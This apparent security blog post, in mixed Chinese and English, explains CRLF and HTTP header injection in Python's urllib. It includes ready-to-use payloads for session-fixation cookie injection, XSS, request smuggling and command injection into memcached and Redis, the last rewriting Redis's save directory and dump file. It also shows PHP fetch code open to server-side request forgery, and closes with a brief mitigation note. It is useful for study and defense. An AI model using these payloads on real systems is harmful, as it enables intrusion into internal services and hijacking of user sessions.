HTTP Header Injection in Python urllib

catalogue

1. Overview
2. The urllib Bug
3. Attack Scenarios
4.  其他场景
5. 防护/缓解手段

 

1. Overview

Python's built-in URL library ("urllib2" in 2.x and "urllib" in 3.x) is vulnerable to protocol stream injection attacks (a.k.a. "smuggling" attacks) via the http scheme. If an attacker could convince a Python application using this library to fetch an arbitrary URL, or fetch a resource from a malicious web server, then these injections could allow for a great deal of access to certain internal services.
类似于crlf注入，python的urllib2/3的这个漏洞的本质在于HTTP协议是一个7层的弱格式协议，而库本身又未对输入源进行敏感字符过滤，导致注入的发生

0x1: CRLF Injection

CRLF是"回车 + 换行"(\r\n)的简称。在HTTP协议中，HTTP Header与HTTP Body是用两个CRLF分隔的，浏览器就是根据这两个CRLF来取出HTTP 内容并显示出来。所以，一旦我们能够控制HTTP 消息头中的字符，注入一些恶意的换行，这样我们就能注入一些会话Cookie或者HTML代码，所以CRLF Injection又叫HTTP Response Splitting，简称HRS

0x2: CRLF Injection实例

1. 注入302跳转

一个正常的302跳转包是这样

HTTP/1.1 302 Moved Temporarily 
Date: Fri, 27 Jun 2014 17:52:17 GMT 
Content-Type: text/html 
Content-Length: 154 
Connection: close 
Location: http://www.sina.com.cn

注入

http://www.sina.com.cn%0aSet-cookie:JSPSESSID%3Dwooyun

注入了一个换行，此时的返回包就会变成这样

HTTP/1.1 302 Moved Temporarily 
Date: Fri, 27 Jun 2014 17:52:17 GMT 
Content-Type: text/html 
Content-Length: 154 
Connection: close 
Location: http://www.sina.com.cn 
Set-cookie: JSPSESSID=wooyun

这样就给访问者设置了一个SESSION，造成一个"会话固定漏洞"

2. 注入XSS

http://www.sina.com.cn0d%0a%0d%0a<img src=1 onerror=alert(/xss/)>

返回包

HTTP/1.1 302 Moved Temporarily 
Date: Fri, 27 Jun 2014 17:52:17 GMT 
Content-Type: text/html 
Content-Length: 154 
Connection: close 

<img src=1 onerror=alert(/xss/)>

浏览器会根据第一个CRLF把HTTP包分成头和体，然后将体显示出来。于是这里这个标签就会显示出来，造成一个XSS

3. 注入多个(multi)HTTP请求包

通过在换行回车后再注入一个新的HTTP(甚至可以是gopher协议)包，让url解析方发出多个HTTP请求

Relevant Link:

http://drops.wooyun.org/papers/2466

 

2. The urllib Bug

The HTTP scheme handler accepts percent-encoded values as part of the host component, decodes these, and includes them in the HTTP stream without validation or further encoding. This allows newline injections

#!/usr/bin/env python3

import sys
import urllib
import urllib.error
import urllib.request

url = sys.argv[1]

try:
    info = urllib.request.urlopen(url).info()
    print(info)
except urllib.error.URLError as e:
    print(e)

This script simply accepts a URL in a command line argument and attempts to fetch it.

./fetch.py http://114.215.190.203:12345/foo 

malicious hostname inject

./fetch.py http://114.215.190.203%0d%0aX-injected:%20header%0d%0ax-leftover:%20:12345/foo

Here the attacker can fully control a new injected HTTP header.
The attack also works with DNS host names, though a NUL byte must be inserted to satisfy the DNS resolver. For instance, this URL will fail to lookup the appropriate hostname

 

3. Attack Scenarios

0x1: HTTP Header Injection and Request Smuggling

if an ordinary HTTP request sent by urllib looks like this

GET /foo HTTP/1.1
Accept-Encoding: identity
User-Agent: Python-urllib/3.4
Host: 127.0.0.1
Connection: close

Then an attacker could inject a whole extra HTTP request into the stream with URLS like

./fetch.py http://114.215.190.203%0d%0aConnection%3a%20Keep-Alive%0d%0a%0d%0aPOST%20%2fbar%20HTTP%2f1.1%0d%0aHost%3a%20127.0.0.1%0d%0aContent-Length%3a%2031%0d%0a%0d%0a%7b%22new%22%3a%22json%22%2c%22content%22%3a%22here%22%7d%0d%0a:12345/foo

0x2: Attacking memcached

类似于通过SSRF注入memcache，http header injection同样可以劫持server端，向内网的redis、memcache应用发起TCP请求，实现内网渗透的效果
In our case, if we could fool an internal Python application into fetching a URL for us, then we could easily access memcached instances. Consider the URL

./fetch.py http://114.215.190.203%0d%0aset%20foo%200%200%205%0d%0aABCDE%0d%0a:12345/foo

the above lines in light of memcached protocol syntax, most of the above syntax errors. However, memcached does not close the connection upon receiving bad commands. This allows attackers to inject commands anywhere in the request and have them honored. The above request produced the following response from memcached (which was configured with default settings from the Debian Linux package):

ERROR
ERROR
ERROR
ERROR
ERROR
STORED
ERROR
ERROR

0x3: Attacking Redis

./fetch.py http://114.215.190.203%0d%0aCONFIG%20SET%20dir%20%2ftmp%0d%0aCONFIG%20SET%20dbfilename%20evil%0d%0aSET%20foo%20bar%0d%0aSAVE%0d%0a:6379/foo

Relevant Link:

http://blog.blindspotsecurity.com/2016/06/advisory-http-header-injection-in.html

 

4.  其他场景

0x1: PHP URL解析库

1. CURL

<?php 
    if (isset($_GET['url']))
    {
        $link = $_GET['url'];
        $curlobj = curl_init();
        curl_setopt($curlobj, CURLOPT_POST, 0);
        curl_setopt($curlobj,CURLOPT_URL,$link);
        curl_setopt($curlobj, CURLOPT_RETURNTRANSFER, 1);
        $result=curl_exec($curlobj);
        curl_close($curlobj); 
        echo $result;
    }
?>

2. file_get_contents

<?php
    $url = $_GET['url'];
    $content = file_get_contents($url);
    echo $content;
?>

3. fsocket

PHP的URL解析相关库在发起URL远程请求前，会对参数进行敏感字符过滤

 

5. 防护/缓解手段

PHP header()函数中提到了：
从 PHP 4.4 之后，该函数防止一次发送多个报头。这是对头部注入攻击的保护措施

Relevant Link:

http://php.net/manual/en/function.header.php

 

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